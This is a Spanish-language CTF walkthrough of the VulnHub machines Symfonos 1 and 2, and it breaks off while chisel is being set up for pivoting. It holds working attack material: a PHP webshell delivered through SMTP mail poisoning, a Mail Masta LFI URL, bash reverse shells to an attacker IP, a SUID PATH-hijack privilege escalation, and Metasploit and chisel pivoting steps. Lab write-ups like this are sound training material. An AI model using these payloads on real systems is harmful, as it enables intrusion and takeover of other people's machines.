Symfonos 1 & 2
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Dos máquinas de la serie Symfonos que forman un entorno de pivoting. En Symfonos 1 (192.168.1.148), una sesión nula de SMB entrega un diccionario y con password spraying caehelios:qwerty; el plugin Mail Masta de un WordPress es vulnerable a LFI, y envenenando el buzón por SMTP se pasa de LFI a RCE; un SUID que llama acurlsin ruta absoluta da root por PATH hijacking. Ya con root, Symfonos 1 resulta ser dual-homed: su segunda pata abre10.10.0.0/24, donde vive Symfonos 2. Se monta un túnel SOCKS (chisel + proxychains) y allí un SMB anónimo filtra rutas, ProFTPD mod_copy copia unshadow.baklegible, se crackeaaeolus:sergioteamo, un LibreNMS interno reutiliza la contraseña (credential reuse) y su alta de dispositivos da RCE comocronus;sudo mysqlcierra la caja con GTFOBins.
Symfonos 1: de la sesión nula SMB a root
Descubrimiento del host
La máquina es una imagen de VulnHub en la red local, así que antes de escanear hay que encontrarla. Un barrido ARP la saca por su MAC de VMware:
arp-scan -I eth0 --localnet --ignoredups
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.148 00:0c:29:ba:4d:8b VMware, Inc.
192.168.1.128 74:e2:0c:8f:1e:6f Amazon Technologies Inc.
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.467 seconds (103.77 hosts/sec). 9 respondedObjetivo: 192.168.1.148. El ping confirma que responde y el TTL orienta sobre el sistema:
ping -c 1 192.168.1.148
64 bytes from 192.168.1.148: icmp_seq=1 ttl=64 time=0.398 ms
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 64 sin decrementar apunta a Linux y, de paso, a que no hay ni un salto de routing por el medio: la máquina está en el mismo segmento. Es un indicio, no una prueba, y lo cierra el escaneo de servicios.
Reconocimiento
El escaneo se lanza con jmap, una función del .zshrc que pide la IP por teclado y ejecuta el nmap completo guardando la salida en formato grepeable:
jmap
# 192.168.1.148jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
MAC Address: 00:0C:29:BA:4D:8B (VMware)El escaneo de puertos abre cinco: SSH, SMTP, HTTP y el par de Samba (139/445). El ttl 64 de la columna REASON repite lo que decía el ping, esta vez cinco veces y sobre TCP.
extractPorts resume ese fichero y deja la lista en el portapapeles para el siguiente escaneo:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.148
Open ports: 22,25,80,139,445
Ports copied to clipboardY jmap2, la función hermana, lanza el -sCV sobre esa lista:
jmap2 192.168.1.148 22,25,80,139,445
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:BA:4D:8B (VMware)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00
|_ FQDN: symfonos
| smb-security-mode:
| account_used: guest
|_ authentication_level: userTres cosas quedan anotadas. El OpenSSH 7.4p1 es antiguo y propenso a enumeración de usuarios. El 25 corre un Postfix y será la clave más adelante, aunque ahora no lo parezca. Y el smtp-commands filtra el nombre interno de la máquina, symfonos.localdomain.
TCP 80: una imagen y nada más
whatweb no saca nada de aplicación, solo el Apache:
whatweb http://192.168.1.148
http://192.168.1.148 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.148]Wappalyzer, en el navegador, confirma lo mismo, y la portada explica el silencio: es un cuadro a pantalla completa, sin menú, sin texto y sin formularios.

Web servers: Apache HTTP Server 2.4.25
Operating systems: DebianEl código fuente lo remata: veinticuatro líneas de CSS para que la imagen ocupe la ventana entera, y un solo <img>. Ni un comentario, ni un enlace, ni un script.

<html>
<head>
<style>
html,body{ margin:0; height:100%; overflow:hidden; }
img{ min-height:100%; min-width:100%; height:auto; width:auto;
position:absolute; top:-100%; bottom:-100%; left:-100%; right:-100%; margin:auto; }
</style>
</head>
<body>
<img src="image.jpg">
</body>
</html>El descubrimiento de rutas tampoco da nada. dirsearch y gobuster coinciden en lo mismo, y lo único que aparece es el /manual que trae Apache por defecto:
dirsearch -u http://192.168.1.148/ --exclude-status=403,404
gobuster dir -u http://192.168.1.148 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
[15:32:31] 301 - 315B - /manual -> http://192.168.1.148/manual/
[15:32:31] 200 - 201B - /manual/index.html
Task Completed
/manual (Status: 301) [Size: 315] [--> http://192.168.1.148/manual/]
/server-status (Status: 403) [Size: 301]
Progress: 220560 / 220561 (100.00%)
FinishedDoscientas veinte mil peticiones para el manual de Apache. La web no es el camino: toca empezar por Samba.
SMB - TCP 445
Una sesión nula lista los recursos sin pedir credenciales:
smbclient -N -L 192.168.1.148
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
Workgroup Master
WORKGROUP SYMFONOSsmbclient lista los nombres pero no dice a cuáles podemos entrar. Eso lo responde crackmapexec, que añade la columna de permisos:
crackmapexec smb 192.168.1.148 -u '' -p '' --shares 2>/dev/null
SMB 192.168.1.148 445 SYMFONOS [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.1.148 445 SYMFONOS [+] \:
SMB 192.168.1.148 445 SYMFONOS [+] Enumerated shares
SMB 192.168.1.148 445 SYMFONOS Share Permissions Remark
SMB 192.168.1.148 445 SYMFONOS print$ Printer Drivers
SMB 192.168.1.148 445 SYMFONOS helios Helios personal share
SMB 192.168.1.148 445 SYMFONOS anonymous READ
SMB 192.168.1.148 445 SYMFONOS IPC$ IPC Service (Samba 4.5.16-Debian)El helios se anuncia como Helios personal share pero está cerrado; el único con READ es anonymous. Dentro hay un attention.txt que, sin quererlo, nos entrega un diccionario de contraseñas:

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-ZeusPassword spraying contra helios
Tenemos tres contraseñas pero ningún usuario. La misma sesión nula sirve para enumerarlos:
crackmapexec smb 192.168.1.148 -u '' -p '' --users 2>/dev/null
SMB 192.168.1.148 445 SYMFONOS [-] Error enumerating domain users using dc ip 192.168.1.148: socket conne...
SMB 192.168.1.148 445 SYMFONOS [*] Trying with SAMRPC protocol
SMB 192.168.1.148 445 SYMFONOS [+] Enumerated domain user(s)
SMB 192.168.1.148 445 SYMFONOS \heliosEl primer intento falla y la herramienta reintenta sola por SAMRPC, que sí funciona. Un único usuario: helios. Es justo el nombre del recurso cerrado.
Las contraseñas del attention.txt van entrecomilladas, así que un grep -o con las comillas como ancla las recorta y las deja en un fichero listo para el spray:
cat attention.txt | grep -o "'[^']*'" | tr -d "'"
cat attention.txt | grep -o "'[^']*'" | tr -d "'" > passwords.txt
epidioko
qwerty
baseballCon usuario y diccionario, el spray:
crackmapexec smb 192.168.1.148 -u 'helios' -p passwords.txt --users 2>/dev/null
SMB 192.168.1.148 445 SYMFONOS [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB 192.168.1.148 445 SYMFONOS [-] \helios:epidioko STATUS_LOGON_FAILURE
SMB 192.168.1.148 445 SYMFONOS [-] \helios:qwerty STATUS_LOGON_FAILURE
SMB 192.168.1.148 445 SYMFONOS [-] \helios:baseball STATUS_LOGON_FAILURELas tres fallan. Aquí está la lección de la caja: no conviene fiarse de una sola herramienta. Probando la misma credencial con smbclient, contra el recurso helios en vez de contra el servicio, sí entra:
smbclient -U helios%qwerty \\\\192.168.1.148\\helios
ls
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019
19994224 blocks of size 1024. 17281748 blocks availableLa credencial helios:qwerty era válida todo el tiempo. El STATUS_LOGON_FAILURE de crackmapexec venía de cómo negocia la sesión, no de la contraseña.
Dentro hay dos notas. El prompt desactiva la confirmación interactiva para poder bajarlas de golpe con mget:
prompt
mget *
exit
cat research.txt
cat todo.txt
smb: \> prompt
smb: \> mget *
getting file \research.txt of size 432 as research.txt (70.3 KiloBytes/sec)
getting file \todo.txt of size 52 as todo.txt (25.4 KiloBytes/sec)
$ cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot
which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while
at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously
the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of
the Ancient World.
$ cat todo.txt
1. Binge watch Dexter
2. Dance
3. Work on /h3l105El research.txt es relleno temático (aunque explica el cuadro de la portada). El que importa es el todo.txt: su tercera línea, Work on /h3l105, es la ruta que ni dirsearch ni gobuster podían adivinar, porque no está en ningún diccionario.
WordPress en /h3l105 y el vhost symfonos.local
La ruta /h3l105 existe y es un WordPress, pero se carga a medias: el texto sale y el CSS no. Eso siempre apunta a lo mismo, a que los recursos cuelgan de un nombre que nuestra máquina no resuelve. El código fuente lo confirma en la primera pantalla:

<!-- Built With SiteEditor | http://www.siteeditor.org -->
<title>helios site – Just another WordPress site</title>
<link rel='dns-prefetch' href='//symfonos.local' />
<link rel='alternate' type='application/rss+xml' title="helios site » Feed"
href="http://symfonos.local/h3l105/index.php/feed/" />
<link rel='stylesheet' id='wp-block-library-css'
href='http://symfonos.local/h3l105/wp-includes/css/dist/block-library/style.min.css?ver=5.2.2' />Todos los href apuntan a symfonos.local, y el dns-prefetch del principio lo dice sin rodeos. De paso, el comentario de la línea 4 delata un SiteEditor, y el ?ver=5.2.2 de las hojas de estilo fija la versión del WordPress.
Se añade al /etc/hosts para que el navegador lo resuelva contra la misma IP:
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.1.148 symfonos.localCon la entrada puesta, el WordPress ("helios site") carga ya con todos sus recursos:

helios site - Just another WordPress site
Hello world!
admin | June 29, 2019 | Uncategorized | 1 Comment
Recent Posts: Hello world!
Ya con la web bien montada, wpscan enumera plugins y usuarios:
wpscan --url http://symfonos.local/h3l105/ --enumerate p,u
[i] Plugin(s) Identified:
[+] mail-masta
| Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
[+] site-editor
| Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
| Latest Version: 1.1.1 (up to date)
| Version: 1.1.1 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)Las versiones salen del readme.txt que cada plugin deja publicado, no de una huella: por eso wpscan solo se da un 80% de confianza. La misma lista se saca a mano peinando los wp-content del HTML, sin necesidad de la herramienta:
curl -s -X GET "http://192.168.1.148/h3l105/" | grep "wp-content" | grep -oP "'.*?'" | grep 'symfonos.local' | cut -d '/' -f 1-7 | sort -u | grep plugins
'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
'http://symfonos.local/h3l105/wp-content/plugins/site-editorCon los dos nombres, toca buscar vulnerabilidades conocidas:
searchsploit mail masta
searchsploit site editor | grep -i wordpress
WordPress Plugin Mail Masta 1.0 - Local File Inclusion | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2) | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Injection | php/webapps/41438.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt
WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery | php/webapps/25721.txtLos dos plugins tienen LFI. Empezamos por el de Mail Masta, cuyo .txt no es un exploit sino la ficha del fallo: hay que leerla para sacar la ruta y el parámetro.
searchsploit mail masta -m 40290.txt
cat 40290.txt
[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion
Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);
Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);
Typical proof-of-concept would be to load passwd file:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwdAhí está todo: un include($_GET['pl']) a pelo, sin validación ninguna, en dos ficheros distintos del plugin. La última línea es la URL de prueba, lista para pegar.
LFI en el plugin Mail Masta
El exploit de Mail Masta apunta a count_of_send.php con un parámetro pl que incluye ficheros locales:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwdConfirmado el LFI. Ahora toca peinar el sistema de ficheros a ver qué hay. Lo primero, la clave SSH de helios:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/helios/.ssh/id_rsa
Página en blanco: helios no tiene par de claves creado. El include no falla ruidosamente cuando el fichero no existe, simplemente no imprime nada, así que una respuesta vacía significa que el fichero no está, no que el LFI haya dejado de funcionar.
Segundo intento, las tareas programadas, por si hay algo que corra como root:
...count_of_send.php?pl=/etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )Las cuatro líneas por defecto de Debian, ni una tarea propia. Tercer intento, los grupos, por si algún usuario está en uno interesante:
view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
disk:x:6:
mail:x:8:
proxy:x:13:Todos vacíos de miembros. Se puede seguir así un buen rato sin sacar nada, y ahí es donde conviene volver al escaneo inicial: el puerto 25 estaba abierto con un Postfix. Si la máquina recibe correo, cada usuario tiene un buzón en /var/mail/<usuario>, y ese fichero sí lo escribe alguien de fuera.
view-source:...count_of_send.php?pl=/var/mail/helios
Return-Path: <helios@symfonos.localdomain>
Received: by symfonos.localdomain (Postfix, from userid 1000)
id 2EE7C40AB0; Fri, 28 Jun 2019 19:46:02 -0500 (CDT)
To: helios@blah.com
Subject: New WordPress Site
X-PHP-Originating-Script: 1000:class-phpmailer.php
From: WordPress <wordpress@192.168.201.134>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
Your new WordPress site has been successfully set up at:
http://192.168.201.134/h3l105
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during installation.
Log in here: http://192.168.201.134/h3l105/wp-login.phpEl buzón existe y se lee entero. El contenido en sí no da credenciales (el correo de bienvenida de WordPress dice literalmente "la contraseña que elegiste durante la instalación"), pero eso da igual: lo importante es que el fichero se puede leer y alguien de fuera puede escribir en él.
De LFI a RCE envenenando el correo
Como el LFI de Mail Masta incluye y ejecuta el fichero (es un include de PHP, no un readfile), si conseguimos meter código PHP en el buzón y luego lo incluimos, se ejecutará. Es la misma idea que un envenenamiento de logs, solo que el "log" aquí es el correo. Mandamos un mail a helios por SMTP con un webshell en el cuerpo:
telnet 192.168.1.148 25
MAIL FROM: kmn9
RCPT TO: helios
DATA
<?php system($_GET['cmd']); ?>
.
QUIT
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: kmn9
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 66E3F40698
exit
502 5.5.2 Error: command not recognized
QUIT
221 2.0.0 Bye
Connection closed by foreign host.Tres detalles de esa sesión. El Postfix acepta un MAIL FROM inventado (kmn9) sin autenticar. El DATA avisa de cómo se cierra el cuerpo, con un punto solo en su línea. Y el 250 2.0.0 Ok: queued as 66E3F40698 es la confirmación de que el correo, con el PHP dentro, ya está escrito en el buzón. El 502 Error: command not recognized del exit es un desliz sin consecuencias: SMTP cierra con QUIT.
El cuerpo del correo es una sola línea, un webshell mínimo:
![]()
<?php system($_GET['cmd']); ?>Ahora incluimos el buzón vía LFI y añadimos el parámetro cmd:
curl 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id'
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)El correo envenenado se ejecuta al incluirlo: id devuelve uid=1000(helios). RCE como helios. Cambiamos el cmd por una reverse shell. El & del >& va codificado como %26, porque si no el navegador lo interpretaría como separador de parámetros y partiría el comando en dos:
...&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"
symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"Con el nc a la escucha:
nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.148] 43514
bash: cannot set terminal process group (610): Inappropriate ioctl for device
bash: no job control in this shell
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ id
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)Shell como helios, pero sin terminal: las dos líneas de bash avisan de que no hay control de procesos, o sea ni Ctrl+C sin morir, ni historial, ni su.
Tratamiento de la TTY
El script arranca un bash con PTY, se suspende la sesión con Ctrl+Z y se devuelve el terminal local a modo crudo antes de recuperarla:
script /dev/null -c bash
tty
# Ctrl+Z
stty raw -echo; fg
$ script /dev/null -c bash
Script started, file is /dev/null
$ tty
/dev/pts/0
$ ^Z
zsh: suspended nc -nlvp 443
# stty raw -echo; fg
[1] + continued nc -nlvp 443El tty devolviendo /dev/pts/0 es la prueba de que ya hay un pseudoterminal asignado, que es justamente lo que faltaba. Queda declarar el tipo de terminal y ajustar el tamaño al de la ventana local:
stty rows 49 cols 211
export TERM=xterm SHELL=bash
$ clear
TERM environment variable not set.
$ stty rows 49 cols 211
helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$ export TERM=xterm SHELL=bashEl TERM environment variable not set. del clear es la señal de que faltaba el export, y en cuanto se hace el prompt cambia y pasa a mostrar helios@symfonos con la ruta completa. Un último alias para no repetir parámetros:
alias ls="ls -la"
ls
helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc$ ls
total 304
drwxr-xr-x 5 helios helios 4096 Jun 28 2019 .
-rwxr-xr-x 1 helios helios 365 Jun 28 2019 ajax_listing.php
drwxr-xr-x 2 helios helios 4096 Jun 28 2019 campaign
-rwxr-xr-x 1 helios helios 7390 Jun 28 2019 campaign_edit.php
drwxr-xr-x 3 helios helios 4096 Jun 28 2019 lists
-rwxr-xr-x 1 helios helios 80671 Jun 28 2019 mail-autoresponder-data.php
-rwxr-xr-x 1 helios helios 6953 Jun 28 2019 subscriber_list.phpDe paso queda claro por qué el LFI corría como helios y no como www-data: todos los ficheros del WordPress son suyos.
Un binario SUID que llama a curl
Buscando binarios con SUID aparece uno que no es del sistema, /opt/statuscheck. Ejecutarlo devuelve las cabeceras de una petición HTTP:
find / -perm -4000 2>/dev/null
/opt/statuscheck
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping
$ /opt/statuscheck
HTTP/1.1 200 OK
Date: Sun, 09 Feb 2025 17:14:19 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Content-Length: 328
Content-Type: text/htmlEsa salida es exactamente la de un curl -I, así que el binario está invocando algo. Un cat no sirve para averiguar qué, porque es un ejecutable compilado:
cat /opt/statuscheck
^?ELF...
libc.so.6 __cxa_finalize __libc_start_main __ITM_deregisterTMCloneTable __gmon_start__
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516strings filtra las cadenas legibles y ahí sí aparece la llamada completa:
strings /opt/statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516Las cadenas salen partidas (curl -I H, http://lH, ocalhostH) porque el compilador las trocea en registros de ocho bytes, pero recomponerlas es inmediato: curl -I http://localhost. Y encima del todo aparece system, la función de C que lanza el comando pasándolo por una shell, con el PATH del usuario que lo ejecuta.
Un binario SUID de root que invoca curl sin ruta absoluta es un PATH hijacking de libro. Creamos un curl falso que ponga el bit SUID a /bin/bash, lo colocamos primero en el PATH y disparamos el binario:
cd /tmp
echo 'chmod u+s /bin/bash' > curl
chmod +x curl
export PATH=/tmp:$PATH
/opt/statuscheck # ejecuta nuestro /tmp/curl como root
bash -p # shell que conserva el euid=0
helios@symfonos:/tmp$ echo 'chmod u+s /bin/bash' > curl; chmod +x curl
helios@symfonos:/tmp$ ls
-rwxr-xr-x 1 helios helios 20 Feb 9 11:23 curl
helios@symfonos:/tmp$ /opt/statuscheck
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Content-Length: 328
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
helios@symfonos:/tmp$ ls /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
helios@symfonos:/tmp$ bash -p
bash-4.4# id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),...
bash-4.4# whoami
rootMerece la pena leer esa secuencia entera, porque la prueba está en el contraste. La primera llamada a /opt/statuscheck, antes de tocar el PATH, imprime las cabeceras HTTP: sigue usando el curl de verdad. La segunda, ya con /tmp por delante, no imprime nada, porque el curl que encuentra es el nuestro y un chmod no escribe en pantalla. Ese silencio es el éxito. El ls /bin/bash lo confirma con el bit s en los permisos del propietario (-rwsr-xr-x), y el bash -p (que no descarta los privilegios heredados) abre una shell con euid=0.

# id
uid=1000(helios) ... euid=0(root)
# cat /root/proof.txt
Congrats on rooting symfonos:1!Symfonos 1 rooteada.
Pivoting hacia 10.10.0.0/24 (chisel + proxychains)
Ya con root en Symfonos 1, un ip a muestra que esa máquina tiene dos interfaces:
ip a
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
link/ether 00:0c:29:4f:94:ec
inet 192.168.1.151/24 brd 192.168.1.255 scope global ens33
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
link/ether 00:0c:29:4f:94:f6
inet 10.10.0.130/24 brd 10.10.0.255 scope global ens34La ens33 con 192.168.1.151/24 es por la que llegamos; la ens34 con 10.10.0.130/24 es una red interna a la que desde el atacante no hay alcance ninguno. Una máquina con dos patas así es, por definición, un pivote.
Un ping sweep desde dentro descubre quién vive en esa red:
for i in $(seq 1 254); do timeout 0.1 ping -c 1 10.10.0.$i &>/dev/null && echo "[+] El host 10.10.0.$i - ACTIVO"; done
[+] El host 10.10.0.128 - ACTIVO
[+] El host 10.10.0.130 - ACTIVOEl .130 es la propia Symfonos 1. El objetivo nuevo es 10.10.0.128.
Vía 1: pivoting con Metasploit
Antes del chisel merece la pena ver el camino de Metasploit, porque cada módulo hace explícito un paso que luego el túnel SOCKS resuelve de golpe. Se empieza por un multi/handler que reciba la shell:
use exploit/multi/handler
setg LHOST 192.168.1.80
setg LPORT 1234
run
LHOST => 192.168.1.80
LPORT => 1234
[*] Started reverse TCP handler on 192.168.1.80:1234Desde la shell que ya teníamos en la víctima se lanza la conexión contra ese puerto y, una vez dentro, se manda a segundo plano con Ctrl+Z:
bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"

[*] Command shell session 1 opened (192.168.1.80:1234 -> 192.168.1.151:55268)
Shell Banner:
_]0;helios@symfonos: /var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$
^Z
Background session 1? [y/N] y
msf6 > sessions
Active sessions
Id Name Type Information Connection
1 shell sparc/bsd Shell Banner: _]0;helios@symfonos: ... 192.168.1.80:1234 -> 192.168.1.151:55268Una shell de bash normal no sirve para enrutar tráfico. El módulo shell_to_meterpreter la convierte en una sesión Meterpreter, que sí sabe hacerlo:
use post/multi/manage/shell_to_meterpreter
set session 1
run
sessions
[*] Upgrading session ID: 1
[*] Started reverse TCP handler on 192.168.1.80:1234
[*] Sending stage (1017804 bytes) to 192.168.1.151
[*] Meterpreter session 2 opened (192.168.1.80:1234 -> 192.168.1.151:55270)
[*] Command stager progress: 100.00% (773/773 bytes)
Active sessions
Id Name Type Information Connection
1 shell sparc/bsd Shell Banner: ... 192.168.1.80:1234 -> 192.168.1.151:55268
2 meterpreter x86/linux helios @ 192.168.1.151 192.168.1.80:1234 -> 192.168.1.151:55270Con la Meterpreter, autoroute añade las redes de la víctima a la tabla de enrutamiento interna de Metasploit, de forma que cualquier módulo pueda alcanzarlas:
use multi/manage/autoroute
set session 2
run
route
[*] Running module against 192.168.1.151
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.10.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.1.0/255.255.255.0 from host's routing table.
IPv4 Active Routing Table
Subnet Netmask Gateway
10.10.0.0 255.255.255.0 Session 2
192.168.1.0 255.255.255.0 Session 2Ojo al detalle: autoroute no lee lo que le decimos, lee la tabla de rutas de la propia víctima y añade las dos redes que encuentra. Con la ruta puesta, el escaneo de puertos ya funciona contra el host inalcanzable:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.0.128
run
[+] 10.10.0.128: - 10.10.0.128:21 - TCP OPEN
[+] 10.10.0.128: - 10.10.0.128:22 - TCP OPEN
[+] 10.10.0.128: - 10.10.0.128:80 - TCP OPEN
[+] 10.10.0.128: - 10.10.0.128:139 - TCP OPEN
[+] 10.10.0.128: - 10.10.0.128:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)Esa ruta solo existe dentro de Metasploit: un nmap normal seguiría sin ver nada. Para que el resto de herramientas (y el navegador) lleguen, hay que sacar cada puerto a un puerto local con portfwd:
sessions 2
portfwd add -l 8080 -p 80 -r 10.10.0.128
portfwd add -l 2222 -p 22 -r 10.10.0.128
portfwd add -l 2121 -p 21 -r 10.10.0.128
portfwd add -l 139 -p 139 -r 10.10.0.128
portfwd add -l 445 -p 445 -r 10.10.0.128
bg
[*] Forward TCP relay created: (local) :8080 -> (remote) 10.10.0.128:80
[*] Forward TCP relay created: (local) :2222 -> (remote) 10.10.0.128:22
[*] Forward TCP relay created: (local) :2121 -> (remote) 10.10.0.128:21
[*] Forward TCP relay created: (local) :139 -> (remote) 10.10.0.128:139
[*] Forward TCP relay created: (local) :445 -> (remote) 10.10.0.128:445
[*] Backgrounding session 2 ...Y funciona: http://localhost:8080 sirve ya la web de la máquina inalcanzable, otro cuadro clásico.

El problema de este método es la estabilidad: los relays se caen tras un rato o en cuanto se lanza una enumeración web con muchas peticiones. Y además hay que declarar los puertos uno a uno, lo que obliga a escanear antes. Por eso conviene el segundo camino.
Vía 2: chisel + proxychains
Montamos un reverse SOCKS con chisel (repo): servidor en la máquina atacante, cliente en Symfonos 1. Con eso, proxychains enruta cualquier herramienta hacia la red interna, sin declarar puertos.
Primero se prepara el binario en el atacante y se comparte por HTTP:
wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel
chmod +x chisel
python3 -m http.server 80# en la victima
wget http://192.168.1.80/chisel
chmod +x chisel
./chisel
-rw-r--r-- 1 root root 3234355 Jan 31 2022 chisel_1.7.7_linux_amd64.gz
-rw-r--r-- 1 root root 8077312 Jan 31 2022 chisel_1.7.7_linux_amd64
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.151 - - [10/Feb/2025 14:55:24] "GET /chisel HTTP/1.1" 200 -
